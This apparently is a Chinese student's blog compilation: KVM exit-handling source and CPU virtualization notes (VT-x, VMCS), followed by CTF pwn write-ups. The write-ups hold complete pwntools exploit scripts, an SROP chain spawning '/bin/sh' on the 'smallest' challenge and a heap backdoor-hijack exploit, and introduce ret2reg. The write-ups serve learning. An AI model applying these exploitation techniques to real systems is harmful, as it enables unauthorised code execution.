123456789101112131415161718192021222324252627282930313233343536373839404142434445static void vmx_handle_external_intr(struct kvm_vcpu *vcpu){ u32 exit_intr_info = vmcs_read32(VM_EXIT_INTR_INFO); /* * If external interrupt exists, IF bit is set in rflags/eflags on the * interrupt stack frame, and interrupt will be enabled on a return * from interrupt handler. */ if ((exit_intr_info & (INTR_INFO_VALID_MASK | INTR_INFO_INTR_TYPE_MASK)) == (INTR_INFO_VALID_MASK | INTR_TYPE_EXT_INTR)) { unsigned int vector; unsigned long entry; gate_desc *desc; struct vcpu_vmx *vmx = to_vmx(vcpu);#ifdef CONFIG_X86_64 unsigned long tmp;#endif vector = exit_intr_info & INTR_INFO_VECTOR_MASK; desc = (gate_desc *)vmx->host_idt_base + vector; entry = gate_offset(*desc); asm volatile(#ifdef CONFIG_X86_64 "mov %%" _ASM_SP ", %[sp]\n\t" "and $0xfffffffffffffff0, %%" _ASM_SP "\n\t" "push $%c[ss]\n\t" "push %[sp]\n\t"#endif "pushf\n\t" "orl $0x200, (%%" _ASM_SP ")\n\t" __ASM_SIZE(push) " $%c[cs]\n\t" CALL_NOSPEC :#ifdef CONFIG_X86_64 [sp]"=&r"(tmp)#endif : THUNK_TARGET(entry), [ss]"i"(__KERNEL_DS), [cs]"i"(__KERNEL_CS) ); } else local_irq_enable();}
如果不是呢????调用local_irq_enable();
vm_handle_exit 执行完vmx_handle_external_intr后继续执行vcpu_enter_guest(x86.c)
12345678910static int vcpu_enter_guest(struct kvm_vcpu *vcpu){ .... kvm_x86_ops->run(vcpu); //vmx_vcpu_run .... /* Interrupt is enabled by handle_external_intr() */ kvm_x86_ops->handle_external_intr(vcpu); .... r = kvm_x86_ops->handle_exit(vcpu); return r;
从上面可知,外部中断的处理时在handle_exit之前进行的,所以在后面handle_exit中处理外部中断的时候就没什么太多要做的了。
handle_exit 对应 vmx_handle_exit 函数,它是退出事件总的分发处理函数,在对一些特殊情况进行判断之后根据突出原因调用了kvm_vmx_exit_handlers中定义的相应的分发函数
vmx.c
1234567891011121314151617static int vmx_handle_exit(struct kvm_vcpu *vcpu){ struct vcpu_vmx *vmx = to_vmx(vcpu); u32 exit_reason = vmx->exit_reason; u32 vectoring_info = vmx->idt_vectoring_info;................... if (exit_reason < kvm_vmx_max_exit_handlers && kvm_vmx_exit_handlers[exit_reason]) return kvm_vmx_exit_handlers[exit_reason](vcpu); else { WARN_ONCE(1, "vmx: unexpected exit reason 0x%x\n", exit_reason); kvm_queue_exception(vcpu, UD_VECTOR); return 1; }
可以看到一个关键的地方, 传入退出的原因,然后进行选择处理函数
12&& kvm_vmx_exit_handlers[exit_reason]) return kvm_vmx_exit_handlers[exit_reason](vcpu);
kvm_vmx_exit_handlers中的EXIT_REASON_XXXX宏定义了退出的原因,对应的handle_xxx则定义了相应的处理函数
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748static int (*const kvm_vmx_exit_handlers[])(struct kvm_vcpu *vcpu) = { [EXIT_REASON_EXCEPTION_NMI] = handle_exception, [EXIT_REASON_EXTERNAL_INTERRUPT] = handle_external_interrupt, [EXIT_REASON_TRIPLE_FAULT] = handle_triple_fault, [EXIT_REASON_NMI_WINDOW] = handle_nmi_window, [EXIT_REASON_IO_INSTRUCTION] = handle_io, [EXIT_REASON_CR_ACCESS] = handle_cr, [EXIT_REASON_DR_ACCESS] = handle_dr, [EXIT_REASON_CPUID] = handle_cpuid, [EXIT_REASON_MSR_READ] = handle_rdmsr, [EXIT_REASON_MSR_WRITE] = handle_wrmsr, [EXIT_REASON_PENDING_INTERRUPT] = handle_interrupt_window, [EXIT_REASON_HLT] = handle_halt, [EXIT_REASON_INVD] = handle_invd, [EXIT_REASON_INVLPG] = handle_invlpg, [EXIT_REASON_RDPMC] = handle_rdpmc, [EXIT_REASON_VMCALL] = handle_vmcall, [EXIT_REASON_VMCLEAR] = handle_vmclear, [EXIT_REASON_VMLAUNCH] = handle_vmlaunch, [EXIT_REASON_VMPTRLD] = handle_vmptrld, [EXIT_REASON_VMPTRST] = handle_vmptrst, [EXIT_REASON_VMREAD] = handle_vmread, [EXIT_REASON_VMRESUME] = handle_vmresume, [EXIT_REASON_VMWRITE] = handle_vmwrite, [EXIT_REASON_VMOFF] = handle_vmoff, [EXIT_REASON_VMON] = handle_vmon, [EXIT_REASON_TPR_BELOW_THRESHOLD] = handle_tpr_below_threshold, [EXIT_REASON_APIC_ACCESS] = handle_apic_access, [EXIT_REASON_APIC_WRITE] = handle_apic_write, [EXIT_REASON_EOI_INDUCED] = handle_apic_eoi_induced, [EXIT_REASON_WBINVD] = handle_wbinvd, [EXIT_REASON_XSETBV] = handle_xsetbv, [EXIT_REASON_TASK_SWITCH] = handle_task_switch, [EXIT_REASON_MCE_DURING_VMENTRY] = handle_machine_check, [EXIT_REASON_EPT_VIOLATION] = handle_ept_violation, [EXIT_REASON_EPT_MISCONFIG] = handle_ept_misconfig, [EXIT_REASON_PAUSE_INSTRUCTION] = handle_pause, [EXIT_REASON_MWAIT_INSTRUCTION] = handle_mwait, [EXIT_REASON_MONITOR_TRAP_FLAG] = handle_monitor_trap, [EXIT_REASON_MONITOR_INSTRUCTION] = handle_monitor, [EXIT_REASON_INVEPT] = handle_invept, [EXIT_REASON_INVVPID] = handle_invvpid, [EXIT_REASON_XSAVES] = handle_xsaves, [EXIT_REASON_XRSTORS] = handle_xrstors, [EXIT_REASON_PML_FULL] = handle_pml_full, [EXIT_REASON_PCOMMIT] = handle_pcommit,};
对应的处理函数怎么找呢??? 在哪里呢? 搜了一下,搜的几个都还是在这个vmx.c文件里
有的退出事件KVM能够自己处理,这个时候就直接处理然后返回,准备下一轮的VCPU运行,如果KVM无法处理,则需要将事件分发到QEMU进行处理
自己处理的例子: handle_cpuid 看代码,它的原理是查询之前QEMU的设置,然后直接返回,只需要通过KVM就可以完成. 返回1,这个值也作为vcpu_enter_guest的返回值, 为1表示不需要让虚拟机回到QEMU
12345static int handle_cpuid(struct kvm_vcpu *vcpu){ kvm_emulate_cpuid(vcpu); return 1;}
需要返回QEMU处理的例子 handle_io 对该函数进行一路追踪,能看到最后返回了0,所以需要返回QEMU进行处理
123456static int handle_io(struct kvm_vcpu *vcpu){..... return kvm_fast_pio_out(vcpu, size, port);}
返回退出的代码如下, r==0的话会进入break,导致该函数退出 for循环,进而使得ioctl返回用户态
123456789101112static int vcpu_run(struct kvm_vcpu *vcpu){ ...... for (;;) { if (kvm_vcpu_running(vcpu)) { r = vcpu_enter_guest(vcpu); } else { r = vcpu_block(kvm, vcpu); } if (r <= 0) break;
也就是返回到了kvm_arch_vcpu_ioctl_run,再进行返回,就到了QEMU里面了.
在QEMU里面处理完之后再次通过host进入guest的流程,
虚拟化入门-1-CPU虚拟化
研究组的方向是虚拟化…研一一直在学pwn(都还没入门..惭愧). 刚回所里,有师兄带一下,学一下虚拟化, 接触了一点感觉还不错,挺有意思的, 主要是 操作系统层面的东西. 或许后面可以作为主要方向来做.
下面的内容都是来自《系统虚拟化:原理与实现》,作为虚拟化的概念入门还是不错的感觉
主要是了解了虚拟化基础的概念之后,学习intel的 VT虚拟化技术
第三章 虚拟化概述虚拟机的三个典型特征:同质、高效、资源受控。
大多数计算机体系结构都有两个及以上的特权级,用来分隔系统软件和应用软件。系统中有一些操作和管理关键系统资源的指令被定位特权指令,只有在最高特权级上能够正确执行。如果在非最高特权级上运行,特权指令会引发一个异常,处理器会陷入最高特权级,交由系统软件来处理。
在虚拟化世界中,有一类指令成为敏感指令,简而言之是操作特权资源的指令。所有的特权指令都是敏感指令,但不是所有的敏感指令都是特权指令。
判断一个结构是否可以虚拟化,核心在于对敏感指令的支持,如果在某些结构上所有敏感指令都是特权指令,则它是可虚拟化的结构,否则,如果它无法支持在所有的敏感指令上触发异常,则不是一个可虚拟化的机构,称其存在“虚拟化漏洞”
通过陷入再模拟指令的执行来实现虚拟机的方法是前提条件的:所有的敏感指令都必须是特权指令。如果不满足的话就会有遗漏,此时需要想办法来填补或者避免这些遗漏。
3.2 处理器虚拟化 处理器虚拟化是VMM中最核心的部分,因为访问内存或者I/O的指令本身就是敏感指令,所以内存虚拟化与I/O虚拟化都依赖于处理器虚拟化的正确实现。
指令的模拟 因为特权级的存在,敏感指令需要陷入到VMM中通过软件的方式进行模拟。
三个概念:虚拟寄存器、上下文和虚拟处理器
当客户机操作系统试图访问关键资源的时候,该请求并不会真正发生在物理寄存器上。相反,VMM会通过准确模拟物理处理器的行为,而将其访问定位到VMM为其设计与物理寄存器对应的“虚拟”的寄存器上。(对VMM来说,这样的虚拟寄存器往往是在内存中。)
一个案例,不论是对CR0的修改还是访问,都会经过处理器抛出异常,由VMM操作对应的虚拟CR0。
在没有虚拟化的环境中,os直接负责物理处理器管理,负责进程间的调度和切换。在VMM接管物理处理器后,客户机操作系统没有管理物理处理器的权利,可以说此时它已经运行在VMM为之设计的虚拟处理器之上,客户机管理虚拟处理器,并在虚拟处理器上负责该虚拟机内进程间调度和切换。
而VMM管理物理处理器,负责虚拟处理器的调度和切换,以保证在给定时间内,每个虚拟处理器上的当前进程可以在物理处理器上运行一段时间。但是,不管是何种调度,必然要涉及到保留现场,这个现场就是上下文状态。
相比进程等上下文,虚拟处理器上下文会更加复杂,因为客户机操作系统本身包含许多敏感指令,会试图访问和修改物理处理器上定义的所有寄存器,但这种访问会和修改会被VMM重定位到虚拟处理器上。所以,对于虚拟处理器,其上下文包括了更多的系统寄存器.当VMM在决定切换虚拟处理器的时候,为了让虚拟机看起来好像从未被中断过一样,VMM需要考虑保存和回复的上下文也更加复杂。
从VMM的角度来说,虚拟处理器是其需要模拟完成的一组功能集合,虚拟处理器的功能可以由物理处理器和VMM共同完成。对于非敏感指令,物理处理器直接解码处理其请求,并将相关的效果直接反应到物理寄存器上,而对于敏感指令,VMM负责陷入再模拟,从程序角度来说就是一组数据结构和相关处理代码的集合。数据结构用于存储虚拟寄存器的内容,而相关处理代码负责按照物理处理器的行为将效果反映到虚拟寄存器上。
上面的概念可以说明,在处理器虚拟化中,不论是定义虚拟寄存器和虚拟处理器还是利用上下文进行虚拟处理器调度切换,其宗旨都是让虚拟机里执行的敏感指令陷入下来以后,能被VMM模拟,而不要直接作用于真实硬件上。
模拟的前提是陷入,需要了解怎么进行陷入,需要陷入的时候,是怎么通知VMM的。概括地说,VMM陷入是利用了处理器的保护机制,利用中断和异常来完成,有以下几种方式:
1.基于处理器保护机制触发的异常,例如敏感指令的执行。
2.虚拟机主动触发异常,即通常所说的陷阱
异步中断,包括处理器内部的中断源和外部的设备中断源
VMM的功能和组成 VMM的主要功能事基于物理资源创建相应的虚拟资源,组成虚拟机,为客户机操作系统提供虚拟的平台。所以,可以推测,VMM基本上可以分为两部分:虚拟环境的管理和物理资源的管理。
虚拟环境的管理物理资源的管理其他模块VMM分类按虚拟平台分类完全虚拟化 虚拟出来的平台和现实平台是一样的,客户机操作系统不用做任何修改就可以运行。重点是VMM要能够正确处理所有可能的指令。
在实现方式上,以x86为例,经历了两个阶段:软件辅助的完全虚拟化和硬件辅助的完全虚拟化
软件辅助的完全虚拟化 早期因为一开始肯定没想要要弄这个,所以硬件上也不会专门适配,所以完全虚拟化需要通过软件来实现。一个典型的做法是优先级压缩和二进制代码翻译相结合。
优先级压缩来处理的话,有部分指令不能触发异常,因此不能截获做处理。而二进制代码翻译就是为了解决这部分指令,它的思想是,通过扫描并修改客户机的二进制代码,将这些指令转换成支持虚拟化的指令。
虽然这种方式能够实现完全虚拟化,但是这种类似于打补丁的方式很难在架构上保证其完整性,于是后期,x86厂商就在硬件上加入了对虚拟化的支持。
硬件辅助的完全虚拟化 很符合计算机的抽象层次的逻辑,当这一层事情比较难解决的时候,就给它再抽象出一层来。Intel的VT-x技术是这一方向的代表,它在处理器上引入了一个新的执行模式用于运行虚拟机。当虚拟机运行在这个特殊模式中时,任何特权操作都会被处理器拦截并报告给VMM。
类虚拟化 在源代码级别(操作系统内核的代码)修改指令以回避虚拟化漏洞的方式来使VMM能够对物理资源实现虚拟化。
按VMM实现结构分类Hypervisor模型、宿主模型、混合模型
第五章 硬件辅助虚拟化 硬件辅助虚拟化,即在CPU、芯片组及I/O设备等硬件中加入专门针对虚拟化的支持,使得系统软件可以更加容易、高效地实现虚拟化功能。本章以intel VT为例。
intel vt分别在CPU、内存、IO虚拟化方面提供了不同的技术,分别对应VT-x、EPT、VT-d。
CPU虚拟化的硬件支持 引入了两种操作模式,统称为VMX模式,每种模式都有0~3的特权级。
根操作模式(VMX Root Operation):VMM运行所处的模式
非根操作模式(VMX Non-Root Operation):客户机运行所处的模式
非根模式下所有敏感指令的行为都会被重新定义,使得他们能不经过虚拟化就能直接运行或者通过“陷入再模拟”的方式来处理,在根模式下,所有指令的行为和传统IA32一样,因此所有软件都能够正常运行。
非根模式下敏感指令引起的“陷入”被称为VM-Exit。这会导致CPU自动从非根模式切换到根模式。相应的,VM-Entry,该操作由VMM发起,通常是调度某个客户机运行,此时CPU从根模式切换到非根模式。
为了更好地支持CPU虚拟化,VT-x引入了VMCS(virtual-Machine Control Structure 。虚拟机控制结构),VMCS保存虚拟CPU需要的相关状态,例如CPU在两种模式下的特权寄存器的值。VMCS主要供CPU使用,CPU在发生VM-Exit和VM-Entry时都会自动查询和更新VMCS。VMM可以通过指令来配置VMCS,进而影响CPU的行为。
VT-x还引入了一组新的指令,包括VMLAUCH/VMRESUME用于发起VM-Entry,VMREAD/VMWRITE用于配置VMCS等
这里有点没看懂。。。
VMCS 与虚拟寄存器的概念类似,可以看作是虚拟寄存器概念在硬件上的应用。VMCS是保存在内存中的数据结构,包含了虚拟CPU的相关寄存器的内容和虚拟CPU相关的控制信息,每个VMCS对应一个虚拟CPU。(换句话说,个人理解的是,物理CPU和虚拟CPU之间的一个媒介,用于保存和恢复切换时的上下文
VMCS在使用时需要和物理CPU绑定。VMCS与物理CPU是一对一绑定的关系。但在不同时刻可以绑定到不同的物理CPU。这种绑定关系的变化称为VMCS的迁移。
VT-x提供了两条指令用于VMCS的绑定与解除绑定
VMPRTLD<VMCS地址>: 将指定的VMCS与执行该指令的物理CPU绑定
VMCLEAR:将执行该指令的物理CPU与它的VMCS解除绑定。该指令会将物理CPU缓存中的VMCS结构同步到内存中去,从而保证VMCS与新的物理CPU绑定时,内存中的值是最新的。
VMCS格式如下:
主要信息放在数据域里面,VT-x提供两条指令用于访问VMCS
VMREAD<索引>: 读VMCS中索引指定的域
VMWRITE<索引><数据>:写VMCS中索引指定的域
VMCS数据域包括六大类信息
客户机状态域
宿主机状态域
VM-Entry控制域
VM-Execution控制域
VM-Exit控制域
VM-Exit信息域
VMX操作模式
VM-Entry 在发起之前,VMM会设置好VMCS相关域的内容,例如客户机状态域、宿主机状态域等,然后执行VM-Entry指令。
VT-x为VM-Entry提供了两条指令
VMLAUNCH: 用于刚执行过VMCLEAER的VMCS的第一次VM-Entry
VMRESUME:用于执行过VMLAUNCH的VMCS的后续VM-Entry
在VM-Entry进入时,会有很多不同的特性和选择,或者说具体行为,由VM-Entry控制域来规定
注入的事件最终是用客户机自己的IDT里面指定的处理函数来处理的,这样在客户机虚拟CPU看来,这些事件就和没有虚拟化的环境里面对应的事件没有任何区别
VM-Entry的过程
执行基本的检查来确保VM-Entry能开始
对VMCS中的宿主机状态域的有效性进行检查,以确保下一次VM-Exit时可以正确地从客户机环境切换到VMM环境
检查VMCS中客户机状态域的有效性,根据客户机状态域来装载处理器的状态
根据VMCS中VM-Entry MSR-load区域装载MSR寄存器
根据VMCS中VM-Entry事件注入控制的配置,可能需要注入事件到客户机
如果1-4步的检查没有全部通过,CPU会报告VM-Entry失败,这通常意味着VMCS中某些字段的设置有错误。如果全部通过了,处理器就会把执行环境从VMM切换到客户机环境,开始执行客户机指令。
VM-Exit 指CPU从非根模式切换到根模式,客户机切换到VMM的操作。因为的原因有很多,例如在非根模式下执行了敏感指令、发生了中断等。处理VM-Exit事件是VMM模拟指令、虚拟特权资源的一大任务。
具体过程
CPU首先将此次VM-Exit的原因信息记录到VMCS相应的信息域中,VM-Entry interruption-information字段的有效位(bit31)被清零。
CPU状态被保存到VMCS客户机状态域。根据设置也可能将客户机的MSR保存到VM-Exit MSR-store区域
根据VMCS中宿主机状态域和VM-Exit控制域中的设计,将宿主机状态加载到CPU相应寄存器。CPU也可能根据VM-Exit MSR-store区域来加载VMM的MSR。
CPU虚拟化的实现硬件虚拟化用VCPU描述符来描述虚拟CPU,类似os中的进程描述符,其本质是一个结构体,
结构如下:
当VMM创建客户机时,首先要为客户机创建VCPU,整个客户机的运行实际上可以看作是VMM调度不同的VCPU运行。
VMCS的创建与初始化
VCPU的运行上下文切换 VCPU的上下文分为两部分,所以切换也分为由硬件自动切换(VMCS部分)和VMM软件切换(非VMCS部分)
具体切换步骤:
1.VMM保存自己的上下文,主要是保存VMCS不保存的寄存器,即宿主机状态域以外的部分
2.VMM将保存在VCPU中的由软件切换的上下文加载到物理CPU中
3.VMM执行VMRESUME/VMLAUNCH指令,触发VM-Entry,此时CPU自动将VCPU上下文中VMCS部分加载到物理CPU,CPU切换到非根模式。
惰性保存/恢复: 这个方法是对上下文切换进行的优化,因为上下文切换带来的开销比较大。它的思想是
VCPU的硬件优化 优化的目的是尽可能少地在客户机和VMM之间切换,从而减少上下文切换的开销。Intel VT-x提供两种优化方法。
VCPU的退出 推出的原因可能是执行了特权指令、发生了物理中断等,在VT-x中表现为发生VM-Exit。对VCPU退出的处理是VMM进行CPU虚拟化的核心,例如模拟各种特权指令。
退出的原因大体上有三类:
1.访问了特权资源,对CR和MSR寄存器的访问都属于这一类
2.客户机执行的指令引发了异常,例如缺页错误
3.发生了中断。
pwn入门-36-SROP
基础看ctf-wiki和《权威指南pwn》
出自论文: Framing Signals — A Return to Portable Shellcode
理论基础32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)
攻击条件1.栈溢出,且大小足够
2.知道以下内容地址
“/bin/sh”、signal frame、syscall、sigreturn
对sigreturn, 只要rax=15(64位下),执行syscall即可,rax可以通过一些方式来间接控制,比如作为read的返回值(读取的字节数)
例题 360 春秋杯 smallest-pwn
这个不能用正常程序的流程来看待,就这几行汇编, 首先向栈顶读取了0x400字符,然后ret, 又会从栈顶取值作为下一条指令.
程序中没有sigreturn系统调用,但是有read,通过read可以控制rax寄存器的值, 然后再调用syscall即可,换句话说,其实可以调用任意的系统调用(不考虑其他寄存器是否满足条件)
execve(“/bin/sh”,0,0) 最终的目标是要执行这个, 但现在最大的问题是, 不知道”/bin/sh”的地址,所以需要想办法泄露栈地址,然后输入到这个确定的地址上面.
攻击步骤1.泄露地址 因为ret后从rsp取值,所以rsp这里要放几个程序的起始地址start_addr,然后首先要利用write输出栈的地址,可以看到这两句指令
123mov rsi,rspmov rdi,raxsyscall
如果利用之前的read把rax控制为1,那么就可以调用write的系统调用了,而rsi正好是rsp,所以可以输出一个rsp中的一个栈指针,理论上也是指向栈的某个位置.
要执行write的话,需要跳过xor这条指令,所以是不是应该在rsp上放一个0x400b3,也就是xor下一条指令的地址呢? 理论上需要,其实也不用,因为在输入一个字符的时候,可以输入\xb3, 这样把rsp上原先存放的start_addr地址的最后一个字节改了,也可以实现这个效果
123456payload = p64(start_addr) * 3sh.send(payload)sh.send('\xb3')stack_addr = u64(sh.recv()[8:16])log.success('leak stack addr :' + hex(stack_addr))
在输出的时候可以看到第二个地址才是栈上地址,所以取值[8:16], 为啥rsp上面要放3三个初始地址呢?
第一个用来读入 \xb3, 第二个时 进入了write,泄露地址, 第三个该继续走下面流程了
2.构造frame: 实现读入已知地址的功能 刚开始非常纳闷…这段汇编给的就是read的汇编,为啥要用frame构造啊….后来想明白后,还是自己太想当然了,前面给的read的汇编是不知道rsp的地址的,通过构造的frame,在恢复的时候,可以指定rsp的值,这样才能知道/bin/sh的地址(或许可以暴力破解?
12345678910111213sigframe = SigreturnFrame()sigframe.rax = constants.SYS_readsigframe.rdi = 0sigframe.rsi = stack_addrsigframe.rdx = 0x400sigframe.rsp = stack_addrsigframe.rip = syscall_retpayload = p64(start_addr) + 'a' * 8 + str(sigframe)sh.send(payload)## set rax=15 and call sigreturnsigreturn = p64(syscall_ret) + 'b' * 7sh.send(sigreturn)
7个b不会影响吗??? 会覆盖sigframe的开头,但是不知道覆盖的哪个寄存器????,不过看结果是没影响的
3. 读如execve的frame,然后执行1234567891011sigframe = SigreturnFrame()sigframe.rax = constants.SYS_execvesigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addrsigframe.rsi = 0x0sigframe.rdx = 0x0sigframe.rsp = stack_addrsigframe.rip = syscall_retframe_payload = p64(start_addr) + b"b"*8 + bytes(sigframe)payload = frame_payload + (0x120-len(frame_payload))*b'\x00'+b'/bin/sh\x00'sh.send(payload)sh.send(sigreturn)
与2原理一样,读入frame,然后执行
exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748from pwn import *small = ELF('./smallest')if args['REMOTE']: sh = remote('127.0.0.1', 7777)else: sh = process('./smallest')context.terminal = ['tmux', 'splitw', '-h']gdb.attach(sh)context.arch = 'amd64'context.log_level = 'debug'syscall_ret = 0x00000000004000BEstart_addr = 0x00000000004000B0payload = p64(start_addr) * 3sh.send(payload)pause()sh.send("\xb3")stack_addr = u64(sh.recv()[8:16])log.success('leak stack addr :' + hex(stack_addr))sigframe = SigreturnFrame()sigframe.rax = constants.SYS_readsigframe.rdi = 0sigframe.rsi = stack_addrsigframe.rdx = 0x400sigframe.rsp = stack_addrsigframe.rip = syscall_retpayload = p64(start_addr) + b'a'*8 + bytes(sigframe)sh.send(payload)sigreturn = p64(syscall_ret) + b"b"*7pause()sh.send(sigreturn)sigframe = SigreturnFrame()sigframe.rax = constants.SYS_execvesigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addrsigframe.rsi = 0x0sigframe.rdx = 0x0sigframe.rsp = stack_addrsigframe.rip = syscall_retpause()frame_payload = p64(start_addr) + b"b"*8 + bytes(sigframe)payload = frame_payload + (0x120-len(frame_payload))*b'\x00'+b'/bin/sh\x00'sh.send(payload)pause()sh.send(sigreturn)sh.interactive()
暴力破解解法 不过这个解法也是基于在本地能大概看一下偏移差多少的情况下,如果直接暴力破解的话,难度应该会更大一点
12345678910111213141516171819202122232425262728293031323334from pwn import *small = ELF('./smallest')sh = process('./smallest')context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh)context.arch = 'amd64'context.log_level = 'debug'syscall_ret = 0x00000000004000BEstart_addr = 0x00000000004000B0payload = p64(start_addr) * 3sh.send(payload)#pause()sh.send(b"\xb3")stack_addr = u64(sh.recv()[8:16])log.success('leak stack addr :' + hex(stack_addr))sigreturn = p64(syscall_ret) + b"b"*7sigframe = SigreturnFrame()sigframe.rax = constants.SYS_execvesigframe.rdi = stack_addr -0xa1f # "/bin/sh" 's addrsigframe.rsi = 0x0sigframe.rdx = 0x0sigframe.rsp = stack_addrsigframe.rip = syscall_retframe_payload = p64(start_addr) + b"c"*8 + bytes(sigframe)payload = frame_payload + b'/bin/sh\x00'*90#pause()sh.send(payload)sh.send(sigreturn)sh.interactive()
其他gdb中如何查看 sigframe结构?
gdb查看结构体信息
https://wizardforcel.gitbooks.io/100-gdb-tips/content/set-print-pretty-on.html
pwn入门-35-7月月赛pwn
题目链接: 本链接+/pwn
一上来能看到是一个很明显的菜单堆题,并且有后门函数,很明显要劫持控制流,执行后门函数,但问题是没找到通用的漏洞,但是能看到add中,有很大一串逻辑,后来也看到了这里有关于后门函数的操作,以及存放puts函数的地址.
确定思路大概是想办法操作堆块位置,布置好位置,把后门函数放到puts函数的位置,然后调用就可以了.
不过后面看这逻辑看迷糊了….其实挺简单的逻辑, 注意两点,一点是可以辅助画图,来帮助自己分析,另外一点是通过调试来帮助自己分析, 只用脑子想…脑子可能不太够用..
12345678910111213141516171819202122232425262728293031323334353637383940414243unsigned __int64 add(){.... puts("size:"); size = 0; __isoc99_scanf("%u", &size); if ( size <= 0x200 && size > 7 ) { for ( size_4 = 0; size_4 <= 1; ++size_4 ) { if ( !*((_QWORD *)&ptrs + 2 * size_4) ) { dword_4068[4 * size_4] = size; *((_QWORD *)&ptrs + 2 * size_4) = malloc(size); if ( !*((_QWORD *)&ptrs + 2 * size_4) ) { puts("malloc error"); exit(0); } **((_QWORD **)&ptrs + 2 * size_4) = &puts; puts("content:"); v7 = read(0, (void *)(*((_QWORD *)&ptrs + 2 * size_4) + 8LL), size - 8); if ( v7 > 0 ) *(_BYTE *)(v7 + 7LL + *((_QWORD *)&ptrs + 2 * size_4)) = 0; v1 = *(_WORD *)(v7 + 14LL + *((_QWORD *)&ptrs + 2 * size_4)); v8 = magicffff; if ( v1 == 8995 ) v8 = *(unsigned __int64 (**)())(v7 + 8LL + *((_QWORD *)&ptrs + 2 * size_4)); for ( i = 0; i <= 7; ++i ) *(_BYTE *)(v7 + (__int64)i + 8 + *((_QWORD *)&ptrs + 2 * size_4)) = ((__int64)v8 >> (8 * (unsigned __int8)i)) ^ 0x23; v2 = *(_WORD *)(v7 + 22LL + *((_QWORD *)&ptrs + 2 * size_4)); v8 = magicffff; if ( v2 == 12850 ) v8 = *(unsigned __int64 (**)())(v7 + 16LL + *((_QWORD *)&ptrs + 2 * size_4)); for ( j = 0; j <= 7; ++j ) *(_BYTE *)(v7 + (__int64)j + 16 + *((_QWORD *)&ptrs + 2 * size_4)) = ((__int64)v8 >> (8 * (unsigned __int8)j)) ^ 0x32; return __readfsqword(0x28u) ^ v9; } } } return __readfsqword(0x28u) ^ v9;}
比较关键的几条语句如下:
1**((_QWORD **)&ptrs + 2 * size_4) = &puts;
这一条把堆块数据区开头8字节赋值了puts函数的地址
然后从第8字节开始读入剩下的数据
1v7 = read(0, (void *)(*((_QWORD *)&ptrs + 2 * size_4) + 8LL), size - 8);
下面这两句刚开始没看懂,一直在想怎么样才能满足这个条件呢,这条语句的意思是,判断输入的数据后面第6字节是否等于8995, 14可以拆成两个来看 8 + 6, 8代表了puts的8字节, 6就是剩下的6字节, 然后判断这个地址的值是否等于8995,8995这样的数还是切换成16进制比较好! 因为在gdb中显示的基本都是16进制,这可能也是自己没判断出来相关关系的一个原因
12v1 = *(_WORD *)(v7 + 14LL + *((_QWORD *)&ptrs + 2 * size_4));if ( v1 == 8995 ) v1 == 0x2323
其实看不太懂没关系,完全可以在gdb中调试的时候发现端倪,在那两次奇怪的xor之后,能够看到符合条件的两个值,0x2323和0x3232
也就是说可以调整位置让程序符合这个判断条件,符合判断条件有什么用呢?
如果不符合条件,v8仍然是后门函数的地址,那么xor后,仍然是一个无效地址,但如果已经xor过一次,通过进入0x2323的执行流,把v8的值设置为xor过一次的地址,那么再次xor后,就恢复原样了!就得到后门函数了
12345 v8 = magicffff; if ( v1 == 0x2323 ) v8 = *(unsigned __int64 (**)())(v7 + 8LL + *((_QWORD *)&ptrs + 2 * size_4));for ( i = 0; i <= 7; ++i ) *(_BYTE *)(v7 + (__int64)i + 8 + *((_QWORD *)&ptrs + 2 * size_4)) = ((__int64)v8 >> (8 * (unsigned __int8)i)) ^ 0x23;
具体步骤
刚开始两次add, 都添加大小为32的块,
删除0号块
申请40大小的块(32行吗?32不行,32的话,用不了下一个chunk的prev_size字段),输入31个a(不是32是因为后面会补一个0x00),然后后面两个8字节就被xor了,后面两个8字节,一个是size,一个是存放puts函数地址的,这样的话,就把magic xor后的数值存放到了这里, 所以后面的问题是如何解xor,当时也卡在了这里
其实在调试中仔细观察的话(所以不能光空想!) 会发现有0x2323 0x3232,正好可以进入到两个判断条件中,
后面再进入0x23, 两次xor就回到原先的值了!
再次释放0
再次申请0 40,并填满
show 1 就可以了
奥。。。明白为什么比赛的时候做题没做出来了。。没有看懂关键逻辑(以及想当然的以为xor后的东西看着一连串一样的,以为没啥用,其实地址0x55555当然很多一样的了。。)。。就像之前的那道题一样,都不需要写脚本,看懂逻辑了直接交互就可以了
关键逻辑在add里面
偷一下exp12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455from pwn import * from time import sleepimport osimport syselfPath = './pwn'libcPath = ''remoteAddr = ''remotePort = ''context.log_level = 'debug'context.binary = elfPathcontext.terminal = ['tmux', 'splitw', '-h']myelf = context.binaryif sys.argv[1] == 'l': sh = process(elfPath) libc = myelf.libcelse: if sys.argv[1] == 'd': sh = process(elfPath, env = {'LD_PRELOAD': libcPath}) else: sh = remote(remoteAddr,remotePort) context.log_level = 'info' if libcPath: libc = ELF(libcPath) else: libc = myelf.libc def add(sz, content): sh.sendlineafter('option:\n', '1') sh.sendlineafter('size:\n', str(sz)) sh.sendlineafter('content:\n', content)def show(idx): sh.sendlineafter('option:\n', '2') sh.sendlineafter('id:\n', str(idx))def delete(idx): sh.sendlineafter('option:\n', '3') sh.sendlineafter('id:\n', str(idx))if __name__ == '__main__': add(0x28, 'a' ) # 0 add(0x28, 'b' ) # 1 delete(0) gdb.attach(sh) add(0x28, 'c' * 0x1f) delete(0) add(0x28,'d' * 0x1f) show(1) sh.interactive() sh.close()
https://www.aucyberclub.org/makaleler/2023/01/31/prototypepollution.html
https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse-2023/calibrator/
很多题都不错,好好搞一下有空
pwn入门-34-rop之ret2reg
手法概述 这一种攻击手法主要利用的是像如 jmp rsp, jmp rax,call rax这种跳转的指令. 这种指令在一些情况下可以对抗ALSR随机化, 因为比如我们写入一段shellcode,但是不知道shellcode的开始地址,不过,如果有一个寄存器,例如rax,指向shellcode的空间,那么栈溢出后,覆盖返回地址为call rax即可返回到shellcode处进行执行.
主要参考的这一篇文章,利用的这里面的例子,不过在复现的时候,有些地方和文章里有点小区别
https://blog.csdn.net/sinat_35695255/article/details/52031813
